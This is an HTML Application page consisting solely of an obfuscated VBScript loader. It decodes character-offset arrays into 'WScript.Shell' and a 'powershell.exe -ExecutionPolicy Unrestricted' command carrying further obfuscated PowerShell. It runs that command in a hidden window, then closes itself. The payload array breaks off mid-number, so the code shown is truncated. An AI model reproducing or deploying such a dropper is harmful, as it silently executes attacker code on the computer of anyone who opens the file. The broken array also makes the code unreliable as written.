<head>
<script language="vBsCRIPT">
Function JbqAFPcwHw(ByVal FCsS)
Dim sPiEEhGWpPdkU
Dim UUUqe
UUUqe = 39341
Dim IJGsNySrV
IJGsNySrV = JbfCu(FCsS)
If IJGsNySrV = 7000 + 1204 Then
For Each sPiEEhGWpPdkU In FCsS
Dim rOZiH
rOZiH = rOZiH & Chr(sPiEEhGWpPdkU - UUUqe)
Next
End If
JbqAFPcwHw = rOZiH
End Function
Function UiwrQqNceuOJO()
Dim FCsS
Dim nlbWVu
FCsS = Array(39453,39452,39460,39442,39455,39456,39445,39442,39449,39449,39387,39442,39461,39442,39373,39386,39410,39461,39442,39440,39458,39457,39446,39452,39451,39421,39452,39449,39446,39440,39462,39373,39426,39451,39423,39442,39456,39457,39455,39446,39440,39457,39442,39441,39373,39443,39458,39451,39440,39457,39446,39452,39451,39373,39417,39422,39445,39449,39445,39381,39377,39446,39406,39429,39420,39426,39451,39447,39422,39385,39373,39377,39439,39447,39412,39440,39413,39410,39439,39382,39464,39432,39414,39420,39387,39411,39446,39449,39442,39434,39399,39399,39428,39455,39446,39457,39442,39406,39449,39449,39407,39462,39457,39442,39456,39381,39377,39446,39406,39429,39420,39426,39451,39447,39422,39385,39373,39377,39439,39447,39412,39440,39413,39410,39439,39382,39466,39400,39443,39458,39451,39440,39457,39446,39452,39451,39373,39463,39448,39448,39452,39420,39409,39451,39448,39441,39420,39429,39449,39455,39381,39377,39446,39406,39429,39420,39426,39451,39447,39422,39382,39464,39446,39443,39381,39377,39446,39406,3
nlbWVu = JbqAFPcwHw(FCsS)
Dim lihOyhXyBkuRMB
Set lihOyhXyBkuRMB = omrgM(JbqAFPcwHw(Array(39428,39456,39440,39455,39446,39453,39457,39387,39424,39445,39442,39449,39449)))
lihOyhXyBkuRMB.Run(nlbWVu),0,true
self.close()
End Function
Function JbfCu(ByVal IJGsNySrV)
JbfCu = VarType( IJGsNySrV)
End Function
Function omrgM(ByVal objectType)
Set omrgM = CreateObject(objectType)
End Function
UiwrQqNceuOJO()
</script>
</head>
</html>